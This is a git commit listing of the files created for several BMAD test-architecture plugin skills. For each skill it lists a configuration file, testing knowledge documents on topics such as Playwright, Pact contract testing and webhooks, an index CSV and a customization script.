 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/customize.toml
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-automate/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-automate/scripts/resolve-customization.py
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/customize.toml
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-ci/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-ci/scripts/resolve-customization.py
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/customize.toml
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-framework/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-framework/scripts/resolve-customization.py
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/customize.toml
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-nfr/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-nfr/scripts/resolve-customization.py
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/customize.toml
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-design/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-test-design/scripts/resolve-customization.py
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/customize.toml
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-test-review/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-test-review/scripts/resolve-customization.py
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/customize.toml
